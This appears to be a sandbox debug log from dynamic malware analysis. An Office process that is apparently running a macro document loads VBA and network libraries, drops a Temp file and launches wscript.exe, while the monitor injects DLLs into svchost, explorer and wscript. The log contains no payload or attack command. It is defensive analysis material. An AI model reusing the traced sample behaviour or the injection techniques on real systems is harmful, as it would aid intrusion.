2025-12-08 08:32:04,984 [root] DEBUG: 3016: DLL loaded at 0x75F60000: C:\Windows\system32\setupapi (0x19d000 bytes).
2025-12-08 08:32:04,984 [root] DEBUG: 3016: DLL loaded at 0x755D0000: C:\Windows\system32\CFGMGR32 (0x27000 bytes).
2025-12-08 08:32:04,984 [root] DEBUG: 3016: DLL loaded at 0x757A0000: C:\Windows\system32\DEVOBJ (0x12000 bytes).
2025-12-08 08:32:05,656 [root] DEBUG: 3016: api-rate-cap: NtWaitForSingleObject hook disabled due to rate
2025-12-08 08:32:05,687 [root] DEBUG: 3016: api-rate-cap: NtOpenKey hook disabled due to rate
2025-12-08 08:32:05,703 [root] DEBUG: 3016: api-rate-cap: NtQueryValueKey hook disabled due to rate
2025-12-08 08:32:05,734 [root] DEBUG: 3016: DLL loaded at 0x75F60000: C:\Windows\system32\setupapi (0x19d000 bytes).
2025-12-08 08:32:05,734 [root] DEBUG: 3016: DLL loaded at 0x755D0000: C:\Windows\system32\CFGMGR32 (0x27000 bytes).
2025-12-08 08:32:05,734 [root] DEBUG: 3016: DLL loaded at 0x757A0000: C:\Windows\system32\DEVOBJ (0x12000 bytes).
2025-12-08 08:32:05,734 [root] DEBUG: 3016: DLL loaded at 0x75F60000: C:\Windows\system32\setupapi (0x19d000 bytes).
2025-12-08 08:32:05,750 [root] DEBUG: 3016: DLL loaded at 0x755D0000: C:\Windows\system32\CFGMGR32 (0x27000 bytes).
2025-12-08 08:32:05,750 [root] DEBUG: 3016: DLL loaded at 0x757A0000: C:\Windows\system32\DEVOBJ (0x12000 bytes).
2025-12-08 08:32:05,765 [root] DEBUG: 3016: DLL loaded at 0x6F620000: C:\Windows\system32\d3d11 (0x175000 bytes).
2025-12-08 08:32:05,765 [root] DEBUG: 3016: DLL loaded at 0x62810000: C:\Windows\system32\D3D10Warp (0x1e9000 bytes).
2025-12-08 08:32:05,781 [root] DEBUG: 3016: DLL loaded at 0x75F60000: C:\Windows\system32\setupapi (0x19d000 bytes).
2025-12-08 08:32:05,781 [root] DEBUG: 3016: DLL loaded at 0x755D0000: C:\Windows\system32\CFGMGR32 (0x27000 bytes).
2025-12-08 08:32:05,781 [root] DEBUG: 3016: DLL loaded at 0x757A0000: C:\Windows\system32\DEVOBJ (0x12000 bytes).
2025-12-08 08:32:05,781 [root] DEBUG: 3016: DLL loaded at 0x75F60000: C:\Windows\system32\setupapi (0x19d000 bytes).
2025-12-08 08:32:05,781 [root] DEBUG: 3016: DLL loaded at 0x755D0000: C:\Windows\system32\CFGMGR32 (0x27000 bytes).
2025-12-08 08:32:05,781 [root] DEBUG: 3016: DLL loaded at 0x757A0000: C:\Windows\system32\DEVOBJ (0x12000 bytes).
2025-12-08 08:32:05,812 [root] DEBUG: 3016: DLL loaded at 0x6DE10000: C:\Windows\system32\mscoree (0x4a000 bytes).
2025-12-08 08:32:05,812 [root] DEBUG: 3016: DLL loaded at 0x6C910000: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscoreei (0x8d000 bytes).
2025-12-08 08:32:05,875 [root] DEBUG: 3016: DLL loaded at 0x62530000: C:\Windows\system32\DWrite (0x135000 bytes).
2025-12-08 08:32:05,875 [root] DEBUG: 3016: DLL loaded at 0x77630000: C:\Windows\system32\Normaliz (0x3000 bytes).
2025-12-08 08:32:05,890 [root] DEBUG: 3016: DLL loaded at 0x75E10000: C:\Windows\system32\urlmon (0x14a000 bytes).
2025-12-08 08:32:05,890 [root] DEBUG: 3016: DLL loaded at 0x75790000: C:\Windows\system32\api-ms-win-downlevel-ole32-l1-1-0 (0x4000 bytes).
2025-12-08 08:32:05,890 [root] DEBUG: 3016: DLL loaded at 0x757E0000: C:\Windows\system32\api-ms-win-downlevel-shlwapi-l1-1-0 (0x4000 bytes).
2025-12-08 08:32:05,890 [root] DEBUG: 3016: DLL loaded at 0x755C0000: C:\Windows\system32\api-ms-win-downlevel-advapi32-l1-1-0 (0x5000 bytes).
2025-12-08 08:32:05,890 [root] DEBUG: 3016: DLL loaded at 0x75610000: C:\Windows\system32\api-ms-win-downlevel-user32-l1-1-0 (0x4000 bytes).
2025-12-08 08:32:05,890 [root] DEBUG: 3016: DLL loaded at 0x75620000: C:\Windows\system32\api-ms-win-downlevel-version-l1-1-0 (0x4000 bytes).
2025-12-08 08:32:05,890 [root] DEBUG: 3016: DLL loaded at 0x75600000: C:\Windows\system32\api-ms-win-downlevel-normaliz-l1-1-0 (0x3000 bytes).
2025-12-08 08:32:05,890 [root] DEBUG: 3016: DLL loaded at 0x761B0000: C:\Windows\system32\iertutil (0x232000 bytes).
2025-12-08 08:32:05,906 [root] DEBUG: 3016: DLL loaded at 0x75920000: C:\Windows\system32\WININET (0x1e4000 bytes).
2025-12-08 08:32:05,906 [root] DEBUG: 3016: api-rate-cap: GetSystemTimeAsFileTime hook disabled due to rate
2025-12-08 08:32:05,906 [root] DEBUG: 3016: api-rate-cap: NtDelayExecution hook disabled due to rate
2025-12-08 08:32:05,921 [root] DEBUG: 3016: DLL loaded at 0x62340000: C:\Program Files\Common Files\Microsoft Shared\Office16\riched20 (0x1ec000 bytes).
2025-12-08 08:32:05,937 [root] DEBUG: 3016: DLL loaded at 0x76100000: C:\Windows\system32\CLBCatQ (0x83000 bytes).
2025-12-08 08:32:05,937 [root] DEBUG: 3016: DLL loaded at 0x72B10000: C:\Windows\System32\netprofm (0x5a000 bytes).
2025-12-08 08:32:05,937 [root] DEBUG: 3016: DLL loaded at 0x72C90000: C:\Windows\System32\nlaapi (0x10000 bytes).
2025-12-08 08:32:05,937 [root] DEBUG: 3016: DLL loaded at 0x75350000: C:\Windows\system32\Secur32 (0x8000 bytes).
2025-12-08 08:32:05,953 [root] DEBUG: 3016: DLL loaded at 0x74ED0000: C:\Windows\system32\CRYPTSP (0x16000 bytes).
2025-12-08 08:32:05,953 [root] DEBUG: 3016: DLL loaded at 0x74C60000: C:\Windows\system32\rsaenh (0x3b000 bytes).
2025-12-08 08:32:05,953 [root] DEBUG: 3016: DLL loaded at 0x75450000: C:\Windows\system32\RpcRtRemote (0xe000 bytes).
2025-12-08 08:32:05,953 [root] DEBUG: 3016: DLL loaded at 0x72CD0000: C:\Windows\system32\api-ms-win-downlevel-advapi32-l2-1-0 (0x4000 bytes).
2025-12-08 08:32:05,968 [root] DEBUG: 3016: DLL loaded at 0x72C80000: C:\Windows\System32\npmproxy (0x8000 bytes).
2025-12-08 08:32:05,968 [root] DEBUG: 3016: DLL loaded at 0x72BF0000: C:\Windows\system32\winhttp (0x58000 bytes).
2025-12-08 08:32:05,968 [root] DEBUG: 3016: DLL loaded at 0x72BA0000: C:\Windows\system32\webio (0x50000 bytes).
2025-12-08 08:32:05,968 [root] DEBUG: 3016: DLL loaded at 0x74E90000: C:\Windows\system32\mswsock (0x3c000 bytes).
2025-12-08 08:32:05,968 [root] DEBUG: 3016: DLL loaded at 0x73640000: C:\Windows\system32\IPHLPAPI (0x1c000 bytes).
2025-12-08 08:32:05,968 [root] DEBUG: 3016: DLL loaded at 0x736D0000: C:\Windows\system32\WINNSI (0x7000 bytes).
2025-12-08 08:32:05,984 [root] DEBUG: 3016: DLL loaded at 0x62250000: C:\Program Files\Common Files\Microsoft Shared\Office16\ADAL (0xed000 bytes).
2025-12-08 08:32:05,984 [root] DEBUG: 3016: DLL loaded at 0x72BF0000: C:\Windows\system32\WINHTTP (0x58000 bytes).
2025-12-08 08:32:05,984 [root] DEBUG: 3016: DLL loaded at 0x72BA0000: C:\Windows\system32\webio (0x50000 bytes).
2025-12-08 08:32:05,984 [root] DEBUG: 3016: DLL loaded at 0x75000000: C:\Windows\system32\ncrypt (0x39000 bytes).
2025-12-08 08:32:06,000 [root] DEBUG: 3016: DLL loaded at 0x73AE0000: C:\Windows\system32\SAMCLI (0xf000 bytes).
2025-12-08 08:32:06,000 [root] DEBUG: 3016: hook_api: Warning - NetUserGetInfo export address 0x73B1528E differs from GetProcAddress -> 0x73AE1BE2 (SAMCLI.DLL::0x1be2)
2025-12-08 08:32:06,000 [root] DEBUG: 3016: DLL loaded at 0x73AF0000: C:\Windows\system32\WKSCLI (0xf000 bytes).
2025-12-08 08:32:06,000 [root] DEBUG: 3016: hook_api: Warning - NetGetJoinInformation export address 0x73B14AD2 differs from GetProcAddress -> 0x73AF2C3F (WKSCLI.DLL::0x2c3f)
2025-12-08 08:32:06,000 [root] DEBUG: 3016: hook_api: Warning - NetUserGetLocalGroups export address 0x73B152A4 differs from GetProcAddress -> 0x73AE28AA (SAMCLI.DLL::0x28aa)
2025-12-08 08:32:06,000 [root] DEBUG: 3016: DLL loaded at 0x74D20000: C:\Windows\system32\LOGONCLI (0x22000 bytes).
2025-12-08 08:32:06,000 [root] DEBUG: 3016: hook_api: Warning - DsEnumerateDomainTrustsW export address 0x73B13C9E differs from GetProcAddress -> 0x74D2B1FA (LOGONCLI.DLL::0xb1fa)
2025-12-08 08:32:06,000 [root] DEBUG: 3016: DLL loaded at 0x73B10000: C:\Windows\system32\netapi32 (0x11000 bytes).
2025-12-08 08:32:06,000 [root] DEBUG: 3016: DLL loaded at 0x73B00000: C:\Windows\system32\netutils (0x9000 bytes).
2025-12-08 08:32:06,000 [root] DEBUG: 3016: DLL loaded at 0x752C0000: C:\Windows\system32\srvcli (0x19000 bytes).
2025-12-08 08:32:06,015 [root] DEBUG: 3016: DLL loaded at 0x74E80000: C:\Windows\System32\wship6 (0x6000 bytes).
2025-12-08 08:32:06,015 [root] DEBUG: 3016: DLL loaded at 0x6FB50000: C:\Windows\system32\api-ms-win-downlevel-shlwapi-l2-1-0 (0x4000 bytes).
2025-12-08 08:32:06,015 [root] DEBUG: 3016: DLL loaded at 0x74D50000: C:\Windows\system32\DNSAPI (0x44000 bytes).
2025-12-08 08:32:06,031 [root] DEBUG: 3016: DLL loaded at 0x735C0000: C:\Windows\system32\dhcpcsvc6 (0xd000 bytes).
2025-12-08 08:32:06,031 [root] DEBUG: 3016: DLL loaded at 0x73540000: C:\Windows\system32\dhcpcsvc (0x12000 bytes).
2025-12-08 08:32:06,031 [root] DEBUG: 3016: DLL loaded at 0x6DDA0000: C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\osppc (0x2d000 bytes).
2025-12-08 08:32:06,031 [root] DEBUG: 3016: api-rate-cap: LdrGetProcedureAddress hook disabled due to rate
2025-12-08 08:32:06,140 [root] DEBUG: 3016: DLL loaded at 0x61540000: C:\Program Files\Microsoft Office\root\Office16\oart (0xd0a000 bytes).
2025-12-08 08:32:06,156 [root] DEBUG: 3016: DLL loaded at 0x749F0000: C:\Windows\System32\wshtcpip (0x5000 bytes).
2025-12-08 08:32:06,171 [root] DEBUG: 3016: DLL loaded at 0x74B90000: C:\Windows\system32\credssp (0x8000 bytes).
2025-12-08 08:32:06,171 [root] DEBUG: 3016: DLL loaded at 0x72500000: C:\Windows\system32\rasadhlp (0x6000 bytes).
2025-12-08 08:32:06,171 [root] DEBUG: 3016: api-rate-cap: NtQueryPerformanceCounter hook disabled due to rate
2025-12-08 08:32:06,187 [root] DEBUG: 3016: DLL loaded at 0x755D0000: C:\Windows\system32\CFGMGR32 (0x27000 bytes).
2025-12-08 08:32:06,187 [root] DEBUG: 3016: DLL loaded at 0x72620000: C:\Windows\system32\napinsp (0x10000 bytes).
2025-12-08 08:32:06,187 [root] DEBUG: 3016: DLL loaded at 0x70F50000: C:\Windows\system32\pnrpnsp (0x12000 bytes).
2025-12-08 08:32:06,187 [root] DEBUG: 3016: DLL loaded at 0x72610000: C:\Windows\System32\winrnr (0x8000 bytes).
2025-12-08 08:32:06,203 [root] DEBUG: 3016: DLL loaded at 0x73600000: C:\Windows\System32\fwpuclnt (0x38000 bytes).
2025-12-08 08:32:06,234 [root] DEBUG: 3016: DLL loaded at 0x61140000: C:\Program Files\Microsoft Office\root\Office16\gfx (0x3f1000 bytes).
2025-12-08 08:32:06,249 [root] DEBUG: 3016: DLL loaded at 0x6FCA0000: C:\Windows\system32\MSIMG32 (0x5000 bytes).
2025-12-08 08:32:06,249 [root] DEBUG: 3016: DLL loaded at 0x73E50000: C:\Windows\system32\XmlLite (0x2f000 bytes).
2025-12-08 08:32:06,359 [root] DEBUG: 3016: DLL loaded at 0x60580000: C:\Program Files\Microsoft Office\root\Office16\chart (0xbbb000 bytes).
2025-12-08 08:32:06,578 [root] DEBUG: 3016: DLL loaded at 0x75F60000: C:\Windows\system32\SETUPAPI (0x19d000 bytes).
2025-12-08 08:32:06,578 [root] DEBUG: 3016: DLL loaded at 0x757A0000: C:\Windows\system32\DEVOBJ (0x12000 bytes).
2025-12-08 08:32:06,578 [root] DEBUG: 3016: DLL loaded at 0x742B0000: C:\Windows\system32\propsys (0xf5000 bytes).
2025-12-08 08:32:06,593 [root] DEBUG: 3016: DLL loaded at 0x73A90000: C:\Windows\system32\ntmarta (0x21000 bytes).
2025-12-08 08:32:06,593 [root] DEBUG: 3016: DLL loaded at 0x75810000: C:\Windows\system32\WLDAP32 (0x45000 bytes).
2025-12-08 08:32:06,609 [root] DEBUG: 3016: DLL loaded at 0x74BA0000: C:\Windows\system32\bcryptprimitives (0x3d000 bytes).
2025-12-08 08:32:06,609 [root] DEBUG: 3016: DLL loaded at 0x72260000: C:\Windows\system32\MPR (0x12000 bytes).
2025-12-08 08:32:06,687 [root] DEBUG: 3016: DLL loaded at 0x5FFF0000: C:\Program Files\Microsoft Office\root\Office16\GKExcel (0x402000 bytes).
2025-12-08 08:32:06,859 [root] DEBUG: 3016: DLL loaded at 0x6DD70000: C:\Windows\system32\mlang (0x2e000 bytes).
2025-12-08 08:32:06,875 [root] DEBUG: 3016: DLL loaded at 0x722C0000: C:\Windows\System32\msxml6 (0x158000 bytes).
2025-12-08 08:32:06,937 [root] DEBUG: 3016: DLL loaded at 0x5FD60000: C:\Program Files\Common Files\Microsoft Shared\VBA\VBA7.1\VBE7 (0x28f000 bytes).
2025-12-08 08:32:06,953 [root] DEBUG: 3016: DLL loaded at 0x5FBF0000: C:\Windows\system32\UIAutomationCore (0x8c000 bytes).
2025-12-08 08:32:06,953 [root] DEBUG: 3016: DLL loaded at 0x77640000: C:\Windows\system32\PSAPI (0x5000 bytes).
2025-12-08 08:32:06,953 [root] DEBUG: 3016: DLL loaded at 0x5FCF0000: C:\Windows\system32\OLEACC (0x3c000 bytes).
2025-12-08 08:32:06,968 [root] DEBUG: 3016: DLL loaded at 0x721D0000: C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\COMCTL32 (0x84000 bytes).
2025-12-08 08:32:06,968 [root] DEBUG: 3016: DLL loaded at 0x5FB30000: C:\Windows\system32\MSVCR100 (0xbf000 bytes).
2025-12-08 08:32:06,984 [root] DEBUG: 3016: DLL loaded at 0x753F0000: C:\Windows\system32\SXS (0x5f000 bytes).
2025-12-08 08:32:07,015 [root] DEBUG: 3016: DLL loaded at 0x5F900000: C:\Program Files\Common Files\Microsoft Shared\VBA\VBA7.1\VBEUI (0x229000 bytes).
2025-12-08 08:32:07,015 [root] DEBUG: 3016: DLL loaded at 0x5F8D0000: C:\Program Files\Common Files\Microsoft Shared\VBA\VBA7.1\1033\VBE7INTL (0x26000 bytes).
2025-12-08 08:32:07,062 [root] DEBUG: 3016: DLL loaded at 0x74200000: C:\Windows\system32\POWRPROF (0x25000 bytes).
2025-12-08 08:32:07,093 [root] DEBUG: 3016: DLL loaded at 0x6F850000: C:\Windows\system32\d3d10_1 (0x2c000 bytes).
2025-12-08 08:32:07,093 [root] DEBUG: 3016: DLL loaded at 0x6F7F0000: C:\Windows\system32\d3d10_1core (0x41000 bytes).
2025-12-08 08:32:07,109 [root] DEBUG: 3016: DLL loaded at 0x73D20000: C:\Windows\system32\WindowsCodecs (0x130000 bytes).
2025-12-08 08:32:07,156 [root] DEBUG: 3016: DLL loaded at 0x5F7B0000: C:\Program Files\Common Files\Microsoft Shared\Office16\MSPTLS (0x11a000 bytes).
2025-12-08 08:32:07,203 [root] DEBUG: 3016: api-rate-cap: RegOpenKeyExW hook disabled due to rate
2025-12-08 08:32:07,218 [root] DEBUG: 3016: api-rate-cap: RegOpenKeyExW hook disabled due to rate
2025-12-08 08:32:07,218 [root] DEBUG: 3016: api-rate-cap: RegCloseKey hook disabled due to rate
2025-12-08 08:32:07,218 [root] DEBUG: 3016: api-rate-cap: RegCloseKey hook disabled due to rate
2025-12-08 08:32:07,218 [root] DEBUG: 3016: api-rate-cap: RtlSetCurrentTransaction hook disabled due to rate
2025-12-08 08:32:07,265 [root] DEBUG: 3016: api-rate-cap: RegQueryValueExW hook disabled due to rate
2025-12-08 08:32:07,296 [root] DEBUG: 3016: DLL loaded at 0x75390000: C:\Windows\system32\apphelp (0x4c000 bytes).
2025-12-08 08:32:07,296 [root] DEBUG: 3016: DLL loaded at 0x6EC30000: C:\Windows\System32\shdocvw (0x2e000 bytes).
2025-12-08 08:32:07,312 [root] DEBUG: 3016: set_hooks_by_export_directory: Hooked 0 out of 434 functions
2025-12-08 08:32:07,312 [root] DEBUG: 3016: DLL loaded at 0x6DD50000: C:\Windows\system32\packager (0x13000 bytes).
2025-12-08 08:32:07,328 [root] DEBUG: 3016: DLL loaded at 0x6EF30000: C:\Users\user\AppData\Local\Microsoft\OneDrive\17.3.6743.1212\FileSyncShell (0x1ff000 bytes).
2025-12-08 08:32:07,343 [root] DEBUG: 3016: DLL loaded at 0x6EE40000: C:\Users\user\AppData\Local\Microsoft\OneDrive\17.3.6743.1212\MSVCP120 (0x71000 bytes).
2025-12-08 08:32:07,343 [root] DEBUG: 3016: DLL loaded at 0x6ED50000: C:\Users\user\AppData\Local\Microsoft\OneDrive\17.3.6743.1212\MSVCR120 (0xee000 bytes).
2025-12-08 08:32:07,343 [root] DEBUG: 3016: DLL loaded at 0x6EBE0000: C:\Users\user\AppData\Local\Microsoft\OneDrive\17.3.6743.1212\LoggingPlatform (0x18000 bytes).
2025-12-08 08:32:07,343 [root] DEBUG: 3016: DLL loaded at 0x6EBD0000: C:\Windows\system32\WSOCK32 (0x7000 bytes).
2025-12-08 08:32:07,343 [root] DEBUG: 3016: DLL loaded at 0x6EB80000: C:\Users\user\AppData\Local\Microsoft\OneDrive\17.3.6743.1212\Telemetry (0x4f000 bytes).
2025-12-08 08:32:07,343 [root] DEBUG: 3016: DLL loaded at 0x73220000: C:\Windows\system32\Cabinet (0x15000 bytes).
2025-12-08 08:32:07,359 [root] DEBUG: 3016: set_hooks_by_export_directory: Hooked 0 out of 434 functions
2025-12-08 08:32:07,359 [root] DEBUG: 3016: DLL loaded at 0x6EB40000: C:\Windows\system32\EhStorShell (0x31000 bytes).
2025-12-08 08:32:07,359 [root] DEBUG: 3016: DLL loaded at 0x6EAD0000: C:\Windows\System32\cscui (0x6a000 bytes).
2025-12-08 08:32:07,359 [root] DEBUG: 3016: DLL loaded at 0x6EF20000: C:\Windows\System32\CSCDLL (0x9000 bytes).
2025-12-08 08:32:07,359 [root] DEBUG: 3016: DLL loaded at 0x6F130000: C:\Windows\system32\CSCAPI (0xb000 bytes).
2025-12-08 08:32:07,375 [root] DEBUG: 3016: DLL loaded at 0x6ECE0000: C:\Windows\system32\ntshrui (0x70000 bytes).
2025-12-08 08:32:07,375 [root] DEBUG: 3016: DLL loaded at 0x752C0000: C:\Windows\system32\srvcli (0x19000 bytes).
2025-12-08 08:32:07,375 [root] DEBUG: 3016: DLL loaded at 0x73530000: C:\Windows\system32\slc (0xa000 bytes).
2025-12-08 08:32:07,468 [root] INFO: Added new file to list with pid None and path C:\Users\user\AppData\Local\Temp\FgCHe.txt
2025-12-08 08:32:07,484 [root] DEBUG: 3016: DLL loaded at 0x5F670000: C:\Windows\system32\comsvcs (0x136000 bytes).
2025-12-08 08:32:07,484 [root] DEBUG: 3016: DLL loaded at 0x73850000: C:\Windows\system32\ATL (0x14000 bytes).
2025-12-08 08:32:07,484 [root] DEBUG: 3016: DLL loaded at 0x5F650000: C:\Windows\system32\mtxoci (0x20000 bytes).
2025-12-08 08:32:07,531 [lib.api.process] INFO: Monitor config for <Process 556 svchost.exe>: C:\tmpu4t32fjj\dll\556.ini
2025-12-08 08:32:07,531 [lib.api.process] INFO: 32-bit DLL to inject is C:\tmpu4t32fjj\dll\otcZiutY.dll, loader C:\tmpu4t32fjj\bin\jXABFjj.exe
2025-12-08 08:32:07,546 [root] DEBUG: Loader: Injecting process 556 with C:\tmpu4t32fjj\dll\otcZiutY.dll.
2025-12-08 08:32:07,546 [root] DEBUG: 556: Python path set to 'C:\Python38'.
2025-12-08 08:32:07,546 [root] INFO: Disabling sleep skipping.
2025-12-08 08:32:07,546 [root] DEBUG: 556: Dropped file limit defaulting to 100.
2025-12-08 08:32:07,546 [root] DEBUG: 556: parent_has_path: unable to get path for parent process 376
2025-12-08 08:32:07,546 [root] DEBUG: 556: YaraInit: Compiled 41 rule files
2025-12-08 08:32:07,546 [root] DEBUG: 556: YaraInit: Compiled rules saved to file C:\tmpu4t32fjj\data\yara\capemon.yac
2025-12-08 08:32:07,546 [root] DEBUG: 556: YaraScan: Scanning 0x00F00000, size 0x73ca
2025-12-08 08:32:07,546 [root] DEBUG: 556: Monitor initialised: 32-bit capemon loaded in process 556 at 0x6c9a0000, thread 268, image base 0xf00000, stack from 0xbd6000-0xbe0000
2025-12-08 08:32:07,546 [root] DEBUG: 556: Commandline: C:\Windows\system32\svchost.exe -k DcomLaunch
2025-12-08 08:32:07,546 [root] DEBUG: 556: GetAddressByYara: ModuleBase 0x774E0000 FunctionName LdrpCallInitRoutine
2025-12-08 08:32:07,562 [root] DEBUG: 556: hook_api: LdrpCallInitRoutine export address 0x77538810 obtained via GetFunctionAddress
2025-12-08 08:32:07,562 [root] DEBUG: 556: hook_api: Warning - CreateRemoteThreadEx export address 0x764AF98F differs from GetProcAddress -> 0x754EBB18 (KERNELBASE.dll::0xbb18)
2025-12-08 08:32:07,562 [root] DEBUG: 556: hook_api: Warning - UpdateProcThreadAttribute export address 0x764B020F differs from GetProcAddress -> 0x754F43FB (KERNELBASE.dll::0x143fb)
2025-12-08 08:32:07,562 [root] WARNING: b'Unable to place hook on GetCommandLineA'
2025-12-08 08:32:07,562 [root] DEBUG: 556: set_hooks: Unable to hook GetCommandLineA
2025-12-08 08:32:07,562 [root] WARNING: b'Unable to place hook on GetCommandLineW'
2025-12-08 08:32:07,562 [root] DEBUG: 556: set_hooks: Unable to hook GetCommandLineW
2025-12-08 08:32:07,562 [root] DEBUG: 556: Hooked 611 out of 613 functions
2025-12-08 08:32:07,562 [root] DEBUG: 556: WoW64 not detected.
2025-12-08 08:32:07,562 [root] INFO: Loaded monitor into process with pid 556
2025-12-08 08:32:07,562 [root] DEBUG: InjectDllViaThread: Successfully injected Dll into process via RtlCreateUserThread.
2025-12-08 08:32:07,562 [root] DEBUG: Successfully injected DLL C:\tmpu4t32fjj\dll\otcZiutY.dll.
2025-12-08 08:32:07,562 [lib.api.process] INFO: Injected into 32-bit <Process 556 svchost.exe>
2025-12-08 08:32:09,562 [root] DEBUG: 3016: DLL loaded at 0x5F5B0000: C:\Program Files\WinRAR\rarext (0xa0000 bytes).
2025-12-08 08:32:09,578 [root] DEBUG: 3016: DLL loaded at 0x5F550000: C:\Windows\system32\zipfldr (0x52000 bytes).
2025-12-08 08:32:09,593 [root] DEBUG: 3016: DLL loaded at 0x5F520000: C:\Windows\system32\syncui (0x29000 bytes).
2025-12-08 08:32:09,593 [root] DEBUG: 3016: DLL loaded at 0x5F500000: C:\Windows\system32\SYNCENG (0x16000 bytes).
2025-12-08 08:32:09,593 [root] DEBUG: 3016: DLL loaded at 0x6EC20000: C:\Windows\system32\LINKINFO (0x9000 bytes).
2025-12-08 08:32:09,609 [root] DEBUG: 3016: DLL loaded at 0x5F4D0000: C:\Windows\system32\twext (0x27000 bytes).
2025-12-08 08:32:09,625 [root] DEBUG: 3016: DLL loaded at 0x73B00000: C:\Windows\system32\netutils (0x9000 bytes).
2025-12-08 08:32:09,640 [root] DEBUG: 3016: DLL loaded at 0x70420000: C:\Windows\System32\cscobj (0x25000 bytes).
2025-12-08 08:32:09,640 [root] DEBUG: 3016: DLL loaded at 0x5F4B0000: C:\Program Files\7-Zip\7-zip (0x13000 bytes).
2025-12-08 08:32:09,656 [root] DEBUG: 3016: api-rate-cap: NtClose hook disabled due to rate
2025-12-08 08:32:09,656 [root] INFO: Announced 32-bit process name: explorer.exe pid: 1236
2025-12-08 08:32:09,656 [lib.api.process] INFO: Monitor config for <Process 1236 explorer.exe>: C:\tmpu4t32fjj\dll\1236.ini
2025-12-08 08:32:09,656 [lib.api.process] INFO: 32-bit DLL to inject is C:\tmpu4t32fjj\dll\otcZiutY.dll, loader C:\tmpu4t32fjj\bin\jXABFjj.exe
2025-12-08 08:32:09,671 [root] DEBUG: Loader: Injecting process 1236 with C:\tmpu4t32fjj\dll\otcZiutY.dll.
2025-12-08 08:32:09,671 [root] DEBUG: 1236: Python path set to 'C:\Python38'.
2025-12-08 08:32:09,671 [root] DEBUG: 1236: Dropped file limit defaulting to 100.
2025-12-08 08:32:09,671 [root] INFO: Disabling sleep skipping.
2025-12-08 08:32:09,671 [root] DEBUG: 1236: YaraInit: Compiled rules loaded from existing file C:\tmpu4t32fjj\data\yara\capemon.yac
2025-12-08 08:32:09,671 [root] DEBUG: 1236: YaraScan: Scanning 0x00750000, size 0x2d83d0
2025-12-08 08:32:09,687 [root] DEBUG: 1236: Monitor initialised: 32-bit capemon loaded in process 1236 at 0x6c9a0000, thread 2332, image base 0x750000, stack from 0x5222000-0x5230000
2025-12-08 08:32:09,687 [root] DEBUG: 1236: Commandline: C:\Windows\Explorer.EXE
2025-12-08 08:32:09,687 [root] DEBUG: 1236: GetAddressByYara: ModuleBase 0x774E0000 FunctionName LdrpCallInitRoutine
2025-12-08 08:32:09,687 [root] DEBUG: 1236: hook_api: LdrpCallInitRoutine export address 0x77538810 obtained via GetFunctionAddress
2025-12-08 08:32:09,687 [root] DEBUG: 1236: hook_api: Warning - CreateRemoteThreadEx export address 0x764AF98F differs from GetProcAddress -> 0x754EBB18 (KERNELBASE.dll::0xbb18)
2025-12-08 08:32:09,687 [root] DEBUG: 1236: hook_api: Warning - UpdateProcThreadAttribute export address 0x764B020F differs from GetProcAddress -> 0x754F43FB (KERNELBASE.dll::0x143fb)
2025-12-08 08:32:09,687 [root] WARNING: b'Unable to place hook on GetCommandLineA'
2025-12-08 08:32:09,687 [root] DEBUG: 1236: set_hooks: Unable to hook GetCommandLineA
2025-12-08 08:32:09,687 [root] WARNING: b'Unable to place hook on GetCommandLineW'
2025-12-08 08:32:09,703 [root] DEBUG: 1236: set_hooks: Unable to hook GetCommandLineW
2025-12-08 08:32:09,703 [root] DEBUG: 1236: Hooked 611 out of 613 functions
2025-12-08 08:32:09,703 [root] DEBUG: 1236: WoW64 not detected.
2025-12-08 08:32:09,703 [root] INFO: Loaded monitor into process with pid 1236
2025-12-08 08:32:09,703 [root] DEBUG: InjectDllViaThread: Successfully injected Dll into process via RtlCreateUserThread.
2025-12-08 08:32:09,703 [root] DEBUG: Successfully injected DLL C:\tmpu4t32fjj\dll\otcZiutY.dll.
2025-12-08 08:32:09,703 [lib.api.process] INFO: Injected into 32-bit <Process 1236 explorer.exe>
2025-12-08 08:32:09,703 [root] DEBUG: 1236: api-rate-cap: memcpy hook disabled due to rate
2025-12-08 08:32:09,718 [root] DEBUG: 3016: DLL loaded at 0x5F490000: C:\Windows\system32\thumbcache (0x16000 bytes).
2025-12-08 08:32:09,718 [root] DEBUG: 1236: caller_dispatch: Added region at 0x00750000 to tracked regions list (user32::GetKeyboardLayout returns to 0x00758E6E, thread 528).
2025-12-08 08:32:09,718 [root] DEBUG: 1236: YaraScan: Scanning 0x00750000, size 0x2d83d0
2025-12-08 08:32:09,734 [root] DEBUG: 1236: ProcessImageBase: Main module image at 0x00750000 unmodified (entropy change 0.000000e+00)
2025-12-08 08:32:09,765 [root] DEBUG: 3016: CreateProcessHandler: Injection info set for new process 352: C:\Windows\System32\WScript.exe, ImageBase: 0x00830000
2025-12-08 08:32:09,765 [root] INFO: Announced 32-bit process name: wscript.exe pid: 352
2025-12-08 08:32:09,765 [lib.api.process] INFO: Monitor config for <Process 352 wscript.exe>: C:\tmpu4t32fjj\dll\352.ini
2025-12-08 08:32:09,765 [lib.api.process] INFO: 32-bit DLL to inject is C:\tmpu4t32fjj\dll\otcZiutY.dll, loader C:\tmpu4t32fjj\bin\jXABFjj.exe
2025-12-08 08:32:09,781 [root] DEBUG: Loader: Injecting process 352 (thread 2492) with C:\tmpu4t32fjj\dll\otcZiutY.dll.
2025-12-08 08:32:09,781 [root] DEBUG: InjectDllViaIAT: Successfully patched IAT.
2025-12-08 08:32:09,781 [root] DEBUG: Successfully injected DLL C:\tmpu4t32fjj\dll\otcZiutY.dll.
2025-12-08 08:32:09,781 [lib.api.process] INFO: Injected into 32-bit <Process 352 wscript.exe>
2025-12-08 08:32:09,781 [root] INFO: Announced 32-bit process name: wscript.exe pid: 352
2025-12-08 08:32:09,781 [lib.api.process] INFO: Monitor config for <Process 352 wscript.exe>: C:\tmpu4t32fjj\dll\352.ini
2025-12-08 08:32:09,781 [lib.api.process] INFO: 32-bit DLL to inject is C:\tmpu4t32fjj\dll\otcZiutY.dll, loader C:\tmpu4t32fjj\bin\jXABFjj.exe
2025-12-08 08:32:09,781 [root] DEBUG: Loader: Injecting process 352 (thread 2492) with C:\tmpu4t32fjj\dll\otcZiutY.dll.
2025-12-08 08:32:09,781 [root] DEBUG: InjectDllViaIAT: This image has already been patched.
2025-12-08 08:32:09,781 [root] DEBUG: Successfully injected DLL C:\tmpu4t32fjj\dll\otcZiutY.dll.
